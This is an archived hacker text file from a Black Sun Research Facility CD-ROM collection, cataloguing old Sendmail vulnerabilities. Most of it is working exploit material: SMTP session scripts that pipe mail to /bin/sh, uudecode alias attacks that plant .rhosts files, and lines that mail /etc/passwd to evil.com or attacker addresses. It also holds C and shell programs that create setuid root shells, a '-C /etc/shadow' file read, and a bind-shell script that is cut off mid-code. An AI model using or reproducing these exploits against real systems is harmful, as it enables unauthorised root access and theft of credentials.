home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / misc / sendmail2.txt < prev    next >
Encoding:
Text File  |  2001-07-11  |  74.8 KB  |  3,647 lines

  1.  ###########         #                   ###             #########      ##     # 
  2.  ############       ###                 #####           ###  #####     ###     ##
  3.  #####    ####     #####               #######         ###    ###     ####    ###
  4.  #####    #####   #######             #########       ###      #      ####  ####
  5.   ####   #####    #######            ###########     ###               ### ####
  6.    #########      #######           ####     ####    ###               #######  
  7.     ###########    #####           #####     #####    ###     ##      ####### 
  8.    #############    ###   ##      ######  #########    ###   ####     #########
  9.   ######     ####    #   ####      ########  #####      ##  ######     ###   ###
  10.  ######     ####     ##########     ####     ####        #########     ###  #####
  11.  #####     ####       ##########     ###     ###          #######     ####  ######
  12.  #############         ##########     ##     ##            #####      ####   ####
  13.  ###########            ########      ##     ##             ###        ###    ##
  14.  
  15.    #######       #     #        #     #
  16.   ##########    ##     ##      ##     ##            
  17.  ###    ###     ##     ##     ###     ###                                         
  18.   ###    #     ###     ###   #####    ####           Black Sun Research Facility  
  19.     ###         ##     ##    ######   ####             http://blacksun.box.sk     
  20.       ###       ##     ##    #######  ####                 ASCII By : cyRu5       
  21.    #   ###     ###     ###   ####  #######         
  22.   ###  ####   ####     ####   ###   #####               
  23.  ###########   ###########     ##    ###
  24.   #########      #######        #     #
  25. _______________________________________________________________________
  26.  
  27. Various Sendmail Holes: By Ankit Fadia <ankit@bol.net.in>
  28. _______________________________________________________________________
  29.  
  30. Sendmail, known as the buggiest daemon on earth has a history of having
  31. A large number of bugs. In this text, I have made a list of known
  32. Sendmail holes. Of course, the list is not complete, but it's an
  33. example of how many bugs Sendmail has had over the years.
  34. I also recommend that you read the Sendmail security tutorial at
  35. http://blacksun.box.sk in order to get a better view of what exactly is
  36. Sendmail.
  37.  
  38. -----------------------------------------------------------------------
  39.  
  40.   Hole                         Version of Sendmail
  41.  
  42. -----------------------------------------------------------------------
  43.  
  44. = WIZ =                        *oLD*
  45.  
  46. = DEBUG =                      *oLD*
  47.  
  48. = TURN =                       *oLD*
  49.  
  50. = OVERFLOW INPUT BUFFER =      *oLD*
  51.  
  52. = DECODE ALIAS =               *VrFy*
  53.  
  54. = qf SunOS =                   *SunOS-sendmailV5.1*
  55.  
  56. = -oR SunOS =                  *SunOS-sendmailV5.22*
  57.  
  58. = -oM =                        *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*
  59.  
  60. = OVERWRITE FILES =            *FiXED iN 5.59*
  61.  
  62. = -oQ =                        *DuNNo*
  63.  
  64. = |PROGRAM =                   *TeSTeD oN 5.55*
  65.  
  66. = .forward =                   *5.61*
  67.  
  68. = TAIL =                       *TeSTeD oN 5.65*
  69.  
  70. = -C =                         *oLD*
  71.  
  72. = 4.1 =                        *TeSTeD oN 4.1*
  73.  
  74. = -d########### =              *8.X.X <8.6.7*
  75.  
  76. = -oE/filename bounce=         *8.6.7*
  77.  
  78. = 8.6.9 ident =                *8.6.9*
  79.  
  80. = 8.6.9 newlines =             *8.6.9*
  81.  
  82. = 8.6.10 ident/newlines =      *8.6.10*
  83.  
  84. = HP-UX =                      *HP-UX 9.x*
  85.  
  86. = 8.7.5 gecos =                *8.X.X <8.8.0* *TeSTed oN 8.6.12*
  87.  
  88. = mime7to8() =                 *8.8.0*
  89.  
  90. = smtpd =                      *8.7-8.8.2*
  91.  
  92. =Local DOS=                    *Upto 8.9.3*
  93.  
  94. =Buggy Helo Command=           *8.8.8*
  95.  
  96. =Gaint Sendmail Bug=           *8.8.4*
  97.  
  98.  
  99. -----------------------------------------------------------------------
  100.  
  101. WIZ = *oLD* =
  102.  
  103. The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very
  104. difficult to find. At the connect just type 'wiz' and then 'SHELL' ,and
  105. you're in a root shell. [ it can be set by configuring sendmail.cf file ...
  106. 'OW' option immediately followed by the encrypted password ]
  107.  
  108. DEBUG = *oLD* =
  109.  
  110. This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting
  111. allows anyone to execute any program on a remote machine. It simply
  112. consists in giving the 'debug' command, use a pipe to /bin/sh as recipient
  113. and feed the data with the commands you want to be executed on the remote
  114. machine.
  115.  
  116. [ If sendmail server answers with "200 Debug set" to the 'debug' command
  117. there are good chances the bug is still present ]
  118.  
  119. Example :
  120.  
  121. #!/bin/sh
  122.  
  123. telnet << EOF
  124.  
  125. open fucked.host.edu 25
  126.  
  127. debug
  128.  
  129. mail from: </dev/null>
  130.  
  131. rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
  132.  
  133. data
  134.  
  135. cp /bin/sh /tmp/sushi          # or alternatively:
  136.  
  137. chmod 4755 /tmp/sushi          # echo "+ +" >> /.rhosts
  138.  
  139. .
  140.  
  141. EOF
  142.  
  143. TURN = *oLD* =
  144.  
  145. TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]
  146.  
  147. OVERFLOW INPUT BUFFER = *oLD* =
  148.  
  149. Cause the sendmail deamon to lock up ... [ old stuff! Just for collection
  150. ;) ]
  151.  
  152. DECODE ALIAS = *VrFy* =
  153.  
  154. If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to
  155. decode, write to any file onwed by daemon, if they can connect to sendmail
  156. daemon, can write to any file owned by any user.
  157.  
  158. To test the existence of decode alias from a sendmail connection do:
  159.  
  160. % telnet target.com
  161.  
  162. Trying 127.127.127.127
  163.  
  164. Connected to target.com
  165.  
  166. Escape character is '^]'.
  167.  
  168. 220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  169.  
  170. expn decode
  171.  
  172. 250 <"|/usr/bin/uudecode">
  173.  
  174. quit
  175.  
  176. 1SecExploit:
  177.  
  178. % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com
  179.  
  180. MoreThan1SecExploit:
  181.  
  182. % cat > outfile                  # Let's make our .rhosts file
  183.  
  184. + +
  185.  
  186. ^C
  187.  
  188. % uuencode outfile /usr/bin/.rhosts
  189.  
  190. begin 644 /bin/.rhosts
  191.  
  192. $*R'K"O\
  193.  
  194. % telnet fuqdhost.com 25
  195.  
  196. 220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)
  197.  
  198. VRFY decode
  199.  
  200. 250 <|/usr/bin/uudecode>
  201.  
  202. MAIL FROM: bin
  203.  
  204. 250  ... Sender Okay
  205.  
  206. RCPT TO: decode
  207.  
  208. 250  ... Recipient Okay
  209.  
  210. DATA
  211.  
  212. 354 Enter mail, end with "." on a line by itself
  213.  
  214. begin 644 /bin/.rhosts
  215.  
  216. $*R'K"O\                       # which is just "+ +" uuencoded
  217.  
  218. end
  219.  
  220. .
  221.  
  222. 250 Mail accepted
  223.  
  224. quit
  225.  
  226. 221 fuqdhost.com closing connection
  227.  
  228. Connection closed by foreign host.
  229.  
  230. % rlogin fuqdhost.com -l bin
  231.  
  232. $
  233.  
  234. If no home directories are known or writable, an interesting variation of
  235. this is to create a bogus /etc/aliases.pag file that contains an alias with
  236. a command you wish to execute on your target. This may work since on many
  237. systems the aliases.pag and aliases.dir files, which control the system's
  238. mail aliases, are writable to the world.
  239.  
  240.  evil % cat decode
  241.  
  242.  bin: "| cat /etc/passwd | mail zen@evil.com"
  243.  
  244.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  245.  
  246.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com
  247.  
  248.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  249.  
  250. qf SunOS = SunOS-sendmailV5.1 =
  251.  
  252. The method used by sendmail version 5 to open a control file
  253. [/usr/spool/mqueue/qf########] is unsecure. A race condition exists whereby
  254. another process may obtain a control-file file descriptor, opened for write
  255. access. Sendmail v5, during execution, sets umask(0), which is an insecure
  256. mask. In order not to leave open control files with mode 666, sendmail v5
  257. uses chmod(2) to set a secure file mode. However this is a race condition,
  258. as we can obtain an open file descriptor for write by opening the control
  259. file before the call to chmod(2).
  260.  
  261. IMPACT: Local users can write their own control files, and run programs
  262.  
  263.         as any user, bar root.
  264.  
  265. EXPLOIT:
  266.  
  267. grabfd.c:
  268.  
  269. /*
  270.  
  271.  * grabfd.c
  272.  
  273.  * usage: grabfd username command-file
  274.  
  275.  *
  276.  
  277.  *      username: user to execute 'command-file' as.
  278.  
  279.  *      command-file: file containing 10 lines of shell commands to execute.
  280.  
  281.  */
  282.  
  283. #include <stdio.h>
  284.  
  285. #include <unistd.h>
  286.  
  287. #include <sys/fcntl.h>
  288.  
  289. #include <sys/param.h>
  290.  
  291. #ifndef SENDMAIL
  292.  
  293. #define SENDMAIL "/usr/lib/sendmail"
  294.  
  295. #endif
  296.  
  297. #ifndef SPOOL_DIR
  298.  
  299. #define SPOOL_DIR "/usr/spool/mqueue"
  300.  
  301. #endif
  302.  
  303. char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
  304.  
  305. main(argc,argv)
  306.  
  307. int argc;
  308.  
  309. char **argv;
  310.  
  311. {
  312.  
  313.         int pid, fd;
  314.  
  315.         char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
  316.  
  317.         if (argc != 3) {
  318.  
  319.                 (void)fprintf(stderr, "%s: user file\n",
  320.  
  321.                         argv[0]);
  322.  
  323.                 exit(1);
  324.  
  325.         }
  326.  
  327.         if (getpwnam(argv[1]) == NULL)
  328.  
  329.                 (void)fprintf(stderr, "%s: user %s unknown (error
  330.  
  331. ignored)\n",
  332.  
  333.                         argv[0],
  334.  
  335.                         argv[1]);
  336.  
  337.         if (access(argv[2], F_OK) == -1) {
  338.  
  339.                 (void)fprintf(stderr, "%s: %s does not exist.\n",
  340.  
  341.                        argv[0],
  342.  
  343.                        argv[2]);
  344.  
  345.                 exit(1);
  346.  
  347.         }
  348.  
  349.         if (access(SPOOL_DIR, X_OK) == -1) {
  350.  
  351.                 (void)fprintf(stderr, "%s: cannot access %s.\n",
  352.  
  353.                         argv[0],
  354.  
  355.                         SPOOL_DIR);
  356.  
  357.                 exit(1);
  358.  
  359.         }
  360.  
  361.         if (pid=fork()) {
  362.  
  363.                 if (pid == -1) {
  364.  
  365.                         (void)perror("fork");
  366.  
  367.                         exit(1);
  368.  
  369.                 }
  370.  
  371.                 (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
  372.  
  373.                 (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
  374.  
  375.                 for (;;)
  376.  
  377.                         if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
  378.  
  379.                                 (void)printf("%s: grabbed queue fd.\n",
  380.  
  381.                                              argv[0]);
  382.  
  383.                                 (void)wait();
  384.  
  385.                                 (void)ftruncate(fd, 0);
  386.  
  387.                                 (void)write(fd, sysbuf, strlen(sysbuf));
  388.  
  389.                                 (void)close(fd);
  390.  
  391.                                 if(execl(SENDMAIL,
  392.  
  393.                                       "sendmail", "-q", (char *)0) == -1) {
  394.  
  395.                                         (void)perror("execl");
  396.  
  397.                                         exit(1);
  398.  
  399.                                         };
  400.  
  401.                         }
  402.  
  403.         } else {
  404.  
  405.                 (void)close(0);
  406.  
  407.                 if (open("/etc/motd", O_RDONLY, 0) == -1) {
  408.  
  409.                         (void)perror("open");
  410.  
  411.                         exit(1);
  412.  
  413.                 };
  414.  
  415.                 if (execl(SENDMAIL,
  416.  
  417.                           "sendmail",
  418.  
  419. #ifdef sun
  420.  
  421.                           "-os",
  422.  
  423. #endif
  424.  
  425.                           "-odq", getlogin(), (char *)0) == -1) {
  426.  
  427.                         (void)perror("execl");
  428.  
  429.                         exit(1);
  430.  
  431.                 };
  432.  
  433.         }
  434.  
  435.         exit(1);
  436.  
  437. }
  438.  
  439. ::::::::::::::::::::::::::::::::: END OF HOLE ::::::::::::::::::::::::::::
  440.  
  441. -oR SunOS = SunOS-4.1.X-sendmail V5.22 =
  442.  
  443. From 8lgm:
  444.  
  445. DESCRIPTION: The -oR option uses popen() to return undeliverable mail.
  446.  
  447. IMPACT: Local users can obtain root access.
  448.  
  449. -------------------------- ropt.sh ---------------------------------------
  450.  
  451. #!/bin/sh
  452.  
  453. #
  454.  
  455. # Syntax: roption host
  456.  
  457. #
  458.  
  459. # host is any system running sendmail (except localhost).
  460.  
  461. #
  462.  
  463. # This exploits a flaw in SunOS sendmail(8), and attempts
  464.  
  465. # create a suid root shell
  466.  
  467. #
  468.  
  469. # Written 1995 by [8LGM]
  470.  
  471. # Please do not use this script without permission.
  472.  
  473. #
  474.  
  475. PROG="`basename $0`"
  476.  
  477. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  478.  
  479. IFS=" "                          export IFS
  480.  
  481. # Check args
  482.  
  483. if [ $# -ne 1 ]; then
  484.  
  485.         echo "Syntax: $PROG host"
  486.  
  487.         exit 1
  488.  
  489. fi
  490.  
  491. # Check we're on SunOS
  492.  
  493. if [ "x`uname -s`" != "xSunOS" ]; then
  494.  
  495.         echo "Sorry, this only works on SunOS"
  496.  
  497.         exit 1
  498.  
  499. fi
  500.  
  501. PROG="`basename $0`"
  502.  
  503. EXECME=/tmp/HotterThanMojaveInMyHeart
  504.  
  505. # Create EXECME.c
  506.  
  507. cat > $EXECME.c << 'EOF'
  508.  
  509. main(argc,argv)
  510.  
  511. int argc;
  512.  
  513. char *argv[];
  514.  
  515. {
  516.  
  517.         chown("/tmp/InfamousAngel", 0, 0);
  518.  
  519.         chmod("/tmp/InfamousAngel", 04755);
  520.  
  521. }
  522.  
  523. EOF
  524.  
  525. cc -o $EXECME $EXECME.c
  526.  
  527. # Check we have EXECME
  528.  
  529. if [ ! -x $EXECME ]; then
  530.  
  531.         echo "$PROG: couldnt compile $EXECME.c - check it out"
  532.  
  533.         exit 1
  534.  
  535. fi
  536.  
  537. /bin/cp /bin/sh /tmp/InfamousAngel
  538.  
  539. # Run sendmail
  540.  
  541. /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
  542.  
  543. To: No1InParticular
  544.  
  545. Hows it goin
  546.  
  547. EOF
  548.  
  549. exec /tmp/InfamousAngel
  550.  
  551. ................................ Cut HeRe ...................................
  552.  
  553. -oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =
  554.  
  555. Sun sendmail allows -oM to set any macro, and still retains root privilege.
  556. ( The list of 'trusted' macros should be limited. )
  557.  
  558. At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail
  559. - all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 "
  560.  
  561. After further investigation, it has been discovered that SVR4 based ports
  562. include sendmail(8) based on SMI code.
  563.  
  564. EXPLOIT:
  565.  
  566.   1. Create the file sunsendmailcp
  567.  
  568.      8>------------------------- cut here ---------------------------
  569.  
  570.      #!/bin/sh
  571.  
  572.      #
  573.  
  574.      # sunsendmailcp from to
  575.  
  576.      if [ $# -ne 2 ]; then
  577.  
  578.              echo usage: `basename $0` from to
  579.  
  580.              exit 1
  581.  
  582.      fi
  583.  
  584.      rm -f /usr/tmp/dead.letter
  585.  
  586.      if [ -f /usr/tmp/dead.letter ]; then
  587.  
  588.              echo sorry, cant continue - /usr/tmp/dead.letter exists
  589.  
  590.      fi
  591.  
  592.      if [ ! -r $1 ]; then
  593.  
  594.              echo $1 doesnt exist or is unreadable
  595.  
  596.              exit 1
  597.  
  598.      fi
  599.  
  600.      ln -s $2 /usr/tmp/dead.letter
  601.  
  602.      /usr/lib/sendmail -L0 '-oM#anything' $USER < $1
  603.  
  604.      rm /usr/tmp/dead.letter
  605.  
  606.      exit 0
  607.  
  608.      8>------------------------- cut here ---------------------------
  609.  
  610.   2. Execute the command % ./sunsendmailcp sourcefile targetfile and target
  611.      file will either be appended to or created.
  612.  
  613. OVERWRITE FILES = FiXED iN 5.59 =
  614.  
  615. Remote users are able to write to any non-root owned files in the system.
  616. This bug was definitely fixed in version 5.59 from Berkeley; despite the
  617. messages below, for versions of sendmail previous to 5.59, the "evil.com"
  618. gets appended, despite the error messages, along with all of the typical
  619. mail headers, to the file specified:
  620.  
  621.  % cat evil_sendmail
  622.  
  623.  telnet victim.com 25 << EOSM
  624.  
  625.  rcpt to: /home/zen/.rhosts
  626.  
  627.  mail from: zen
  628.  
  629.  data
  630.  
  631.  random garbage
  632.  
  633.  .
  634.  
  635.  rcpt to: /home/zen/.rhosts
  636.  
  637.  mail from: zen
  638.  
  639.  data
  640.  
  641.  evil.com
  642.  
  643.  .
  644.  
  645.  quit
  646.  
  647.  EOSM
  648.  
  649.  evil % /bin/sh evil_sendmail
  650.  
  651.  Trying 128.128.128.1
  652.  
  653.  Connected to victim.com
  654.  
  655.  Escape character is '^]'.
  656.  
  657.  Connection closed by foreign host.
  658.  
  659.  evil % rlogin victim.com -l zen
  660.  
  661.          Welcome to victim.com!
  662.  
  663.  victim %
  664.  
  665. '-oQ' = DuNNo =
  666.  
  667. This bug involves the '-q' and the '-oQ' options and causes any file to be
  668. deleted and read. You should create a 'qf'-type file, in the
  669. /usr/spool/mqueue dir, like this:
  670.  
  671. P28
  672.  
  673. T599831504
  674.  
  675. Dfilename
  676.  
  677. Suser
  678.  
  679. Ruser
  680.  
  681. H?P?return-path:
  682.  
  683. H?F?from: user (User Name)
  684.  
  685. H?x?full-name: User Name
  686.  
  687. HTo: user
  688.  
  689. Hsubject: Gotcha
  690.  
  691. after the command `sendmail -q -oQ' is issued, file `filename' will be
  692. deleted and its content will be mailed to 'user'.
  693.  
  694. - - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to
  695. queue messages The 'q' make the daemon to process the queue - - - -
  696.  
  697. '|PROGRAM ' = TeSTeD oN 5.55 = ...may be others
  698.  
  699. Anyone can specify arbitrary shell commands and/or pathnames for the sender
  700. and/or destination address. A typical attack to get the password file is:
  701.  
  702.  % telnet target.com 25
  703.  
  704.  Trying 123.456.789.0...
  705.  
  706.  Connected to target.com
  707.  
  708.  Escape character is '^]'.
  709.  
  710.  220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
  711.  
  712.  mail from: "|/bin/mail me@myhost.com < /etc/passwd"
  713.  
  714.  250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
  715.  
  716.  rcpt to: mickeymouse
  717.  
  718.  550 mickeymouse... User unknown
  719.  
  720.  data
  721.  
  722.  354 Enter mail, end with "." on a line by itself
  723.  
  724.  .
  725.  
  726.  250 Mail accepted
  727.  
  728.  quit
  729.  
  730.  Connection closed by foreign host.
  731.  
  732.  %
  733.  
  734. .forward = 5.61 =
  735.  
  736. When delivering to files and programs, `sendmail' does not do an
  737. `initgroups(3)' after forking on final delivery. As a result, the sender's
  738. group list remains in effect throughout this stage. This is particularly
  739. serious when root is sending the mail since a program executed out of a
  740. `.forward' file gains interesting privileges like `wheel' and `kmem'. A
  741. related hole can be broken down into a "problem" and an "aggravation". The
  742. "problem" is that queued local mail no longer has the original recipient's
  743. uid associated with it. Control files only store a list of exploded
  744. recipients (i.e. users, files and programs) -- one per line -- each
  745. prefaced with an `R'.
  746.  
  747. So, after an address resolves to the local machine and has undergone alias
  748. and ".forward" expansion, if the letter happens to get queued, on the
  749. succeeding queue run sendmail doesnt know who to run the final delivery as.
  750. The "aggravation" is that, when doing this final delivery of queued local
  751. mail, sendmail will `setuid()' itself to the sender's uid if it is
  752. available; in general, the sender's uid will be used when the sender is on
  753. the local machine. As a result, a user can run a program as anyone who
  754. sends them mail from the local machine. There is also an added
  755. "complication"; the default uid and gid are also set to the sender when
  756. delivering mail! Since the default uid and gid are only used when calling
  757. `setuid()' and `setgid()' (to reset the uid/gid before doing final
  758. delivery), these variables should never be set to the sender.
  759.  
  760.               |------------------------------ Local compromise
  761.                       ------------------------------|
  762.  
  763. Save the following program as "sploit.c" changing MYUID to your user id.
  764. Compile "sploit.c" producing the executable "sploit" in your home
  765. directory. Create a ".forward" file containing:
  766.  
  767.      \<user>, "|<path>/sploit"
  768.  
  769. [change to your username so you dont lose mail (unless, of course, you'd
  770. rather lose mail) and set <path> to your home directory path (where sploit
  771. lives)] Now, as another user, send yourself some mail. Note that the sploit
  772. program defers delivery the first time thru; check out "/tmp/whoami" to see
  773. that sploit ran as you. Now, run your mail queue (or open a beer and wait
  774. for sendmail to run it). After the queue run, note that the sploit accepted
  775. the letter and returned a successful exit status; check out "/tmp/whoami"
  776. again to see that this time, sploit ran as the sender! You can also use
  777. "sploit.c" to test for the root initgroups() hole by checking the group
  778. list when "sploit" was first called.
  779.  
  780.      #include <sys/param.h>
  781.  
  782.      #include <sys/types.h>
  783.  
  784.      #include <stdio.h>
  785.  
  786.      #include <sysexits.h>
  787.  
  788.      #include <pwd.h>
  789.  
  790.      #include <grp.h>
  791.  
  792.      #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */
  793.  
  794.      #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
  795.  
  796.      #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */
  797.  
  798.      main()
  799.  
  800.      {
  801.  
  802.      FILE *fp;
  803.  
  804.      uid_t myuid;
  805.  
  806.      int i, rval, ngrps, grplst[NGROUPS];
  807.  
  808.      if ((myuid = getuid()) == MYUID)
  809.  
  810.      rval = EX_TEMPFAIL;
  811.  
  812.      else
  813.  
  814.      rval = EX_OK;
  815.  
  816.      if ((fp = fopen("/tmp/whoami", "a")) != NULL) {
  817.  
  818.      /* real user/group ids */
  819.  
  820.      fprintf(fp, "%susr:%s grp:%s",
  821.  
  822.      (rval == EX_OK)? "": "Def> ",
  823.  
  824.      getuser(myuid), getgrp(getgid()));
  825.  
  826.      /* effective user/group ids */
  827.  
  828.      fprintf(fp, " eusr:%s egrp:%s",
  829.  
  830.      getuser(geteuid()), getgrp(getegid()));
  831.  
  832.      /* group list */
  833.  
  834.      if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
  835.  
  836.      fprintf(fp, " grps:");
  837.  
  838.      for (i = 0; i < ngrps; i++)
  839.  
  840.      fprintf(fp, " %s", getgrp(grplst[i]));
  841.  
  842.      }
  843.  
  844.      fprintf(fp, "\n");
  845.  
  846.      (void) fclose(fp);
  847.  
  848.      }
  849.  
  850.      exit(rval);
  851.  
  852.      }
  853.  
  854. --------------------- CuT HeRe -------------------------------------------------
  855.  
  856. =====================  trick for sendmail 5.61  ===========================
  857.  
  858. /*
  859.  
  860.  * 1) set the #define UID, at the top of the program to be your's
  861.  
  862.  * 2) create a file: /tmp/.shell, which is a script to make a suid shell
  863.  
  864.  * 3) compile the program and name it say, /tmp/.magic
  865.  
  866.  * 4) create a .forward file containing: '|/tmp/.magic'
  867.  
  868.  * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
  869.  
  870.  *    you want a shell from (but not root :-( RATS!)
  871.  
  872.  * 6) wait abit, it usually works ...
  873.  
  874.  */
  875.  
  876. #define UID 777   /* change to your uid */
  877.  
  878. #include <sys/param.h>
  879.  
  880. #include <sys/types.h>
  881.  
  882. #include <stdio.h>
  883.  
  884. #include <sysexits.h>
  885.  
  886. #include <pwd.h>
  887.  
  888. #include <grp.h>
  889.  
  890. #define SHELLFILE  "/tmp/.shell"
  891.  
  892. main()
  893.  
  894.         int myuid, rval;
  895.  
  896.         if ((myuid = getuid()) == UID)
  897.  
  898.                 rval = EX_TEMPFAIL;
  899.  
  900.         else {
  901.  
  902.                 rval = EX_OK;
  903.  
  904.                 system(SHELLFILE);
  905.  
  906.         }
  907.  
  908.         exit(rval);
  909.  
  910. }
  911.  
  912. ------------------------------ CuT HeRe --------------------------------
  913.  
  914. Tail creates a daemon shell = TeSTeD oN 5.65 =
  915.  
  916. Through this sendmail bug, it is possible to become uid daemon (or whatever
  917. your sendmail delivers non-user mail as), or the uid of any user. The
  918. specifics are as follows:
  919.  
  920.    * The envelope From: field, or possibly the Errors-To: header (but I've
  921.      not tested it), must be set to the pipe through a bounce of your mail
  922.      will be returned. Typically this is executed by uid daemon.
  923.    * An error must be caused in the message such that sendmail will send a
  924.      bounce to the From: envelope (or possibly to Errors-To:).
  925.  
  926. These two conditions are all that is necessary to exploit the bug.
  927. Typically the simplest thing to pipe to is
  928.  
  929.  
  930.  
  931.         |/usr/ucb/tail|/usr/bin/sh
  932.  
  933. aka     |/usr/ucb/tail|/bin/sh
  934.  
  935. That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/;
  936. the PATH is important in the case.
  937.  
  938. The condition we have used to generate an error is an invalid
  939. Return-Receipt-To: header. There are a plethora of other ways to do so, and
  940. some of them may depend on the specifics of your sendmail; be forewarned.
  941.  
  942. The last ten lines of your message should contain whatever you wish to do
  943. as uid daemon.
  944.  
  945. ---cut here
  946.  
  947. [panix!jhawk] |% telnet panix.com 25
  948.  
  949. Trying 198.7.0.2 ...
  950.  
  951. Connected to panix.com.
  952.  
  953. Escape character is '^]'.
  954.  
  955. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
  956.  
  957. -0500
  958.  
  959. HELO
  960.  
  961. 250 Hello panix.com, why do you call yourself ?
  962.  
  963. MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
  964.  
  965. 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
  966.  
  967. RCPT TO: root
  968.  
  969. 250 root... Recipient ok
  970.  
  971. DATA
  972.  
  973. 354 Enter mail, end with @.@ on a line by itself
  974.  
  975.  From: jhawk"panix.com (John Hawkinson)
  976.  
  977.   To: jhawk"panix.com (John Hawkinson)
  978.  
  979.   Return-Receipt-To: |foobar
  980.  
  981.   Subject: This is a large hole in the ground.
  982.  
  983.   X-Disclaimer: We take no responsibility for what might happen
  984.  
  985.   Hi there. Wanna play ball?
  986.  
  987.   #!/bin/sh
  988.  
  989.   #The above line is just in case :-)
  990.  
  991.   echo This is a Serious Bug > /tmp/bug
  992.  
  993.   echo id reports: >> /tmp/bug
  994.  
  995.   /usr/bin/id >> /tmp/bug
  996.  
  997.   echo Fixing this would be good >> /tmp/bug
  998.  
  999.   cp /bin/sh /tmp/bugshell
  1000.  
  1001.   chmod u+s /tmp/bugshell
  1002.  
  1003.   echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  1004.  
  1005.   chmod ugo+rx /tmp/bugshell
  1006.  
  1007. .
  1008.  
  1009. 250 Ok
  1010.  
  1011. quit
  1012.  
  1013. 221 panix.com closing connection
  1014.  
  1015. ------------------------- CuT HeRe ----------------------------------------
  1016.  
  1017. "-C" = oLD =
  1018.  
  1019. Read any file. Using the '-C' option causes an alternative configuration
  1020. file to be used, if the file is a protected file which is actually not a
  1021. send mail configuration file, `sendmail' will print out some contents of
  1022. the file as an error message.
  1023.  
  1024. It is reported working on DYNIX (3.0.14) and ULTRIX (2.X)
  1025.  
  1026. $ sendmail -C /etc/shadow
  1027.  
  1028. <contents of /etc/shadow>
  1029.  
  1030.  
  1031.  
  1032. 4.1 = TeSTeD oN 4.1 =
  1033.  
  1034. It allows remote access as bin...and since bin owns the /etc dir you can
  1035. gain root.
  1036.  
  1037. Rsend needs mconnect, which is a binary, which just connects to the place
  1038. and sends the data. You can get rid the of ()'s at the beginninga and end
  1039. of the script, and get rid of the mconnect line, and run like ./rsend >
  1040. file, then ascii U/L the file to port 25...If it says a lot of stuff like
  1041. "Command Ununown" 25 times, then it didn't work.
  1042.  
  1043. Here's rsend:
  1044.  
  1045. #!/bin/sh
  1046.  
  1047. # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
  1048.  
  1049. #
  1050.  
  1051. # This material is copyrighted by Scott Chasin, 1992, 1993. The
  1052.  
  1053. # usual standard disclaimer applies, especially the fact that the
  1054.  
  1055. # author is not liable for any damages caused by direct or indirect
  1056.  
  1057. # use of the information or functionality provided by this program.
  1058.  
  1059. #
  1060.  
  1061. # Description:
  1062.  
  1063. #
  1064.  
  1065. # Exploit NEW sendmail hole  and bind a port so we can spawn a program.
  1066.  
  1067. # Not for distribution under any circumstances
  1068.  
  1069. #
  1070.  
  1071. # Usage: smail
  1072.  
  1073. # default: smail   <7001>
  1074.  
  1075. port=$3
  1076.  
  1077. user=$2
  1078.  
  1079. cmd=$4
  1080.  
  1081. if [ -z "$2" ]; then
  1082.  
  1083.    user=daemon
  1084.  
  1085. fi
  1086.  
  1087. if [ -z "$3" ]; then
  1088.  
  1089.    port=7002
  1090.  
  1091. fi
  1092.  
  1093. if [ -z "$4" ]; then
  1094.  
  1095.    cmd="/bin/csh -i"
  1096.  
  1097. fi
  1098.  
  1099. (
  1100.  
  1101. sleep 4
  1102.  
  1103. echo "helo"
  1104.  
  1105. echo "mail from: |"
  1106.  
  1107. echo "rcpt to: bounce"
  1108.  
  1109. echo "data"
  1110.  
  1111. echo "."
  1112.  
  1113. sleep 3
  1114.  
  1115. echo "mail from: $user"
  1116.  
  1117. echo "rcpt to: | sed '1,/^$/d' | sh"
  1118.  
  1119. echo "data"
  1120.  
  1121. echo "cat > /tmp/a.c <
  1122.  
  1123. #include <sys/signal.h>
  1124.  
  1125. #include <sys/socket.h>
  1126.  
  1127. #include <netinet/in.h>
  1128.  
  1129. #include <netdb.h>
  1130.  
  1131. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  1132.  
  1133. int **av;{struct sockaddr_in mya;struct servent *sp
  1134.  
  1135. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  1136.  
  1137. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  1138.  
  1139. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  1140.  
  1141. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
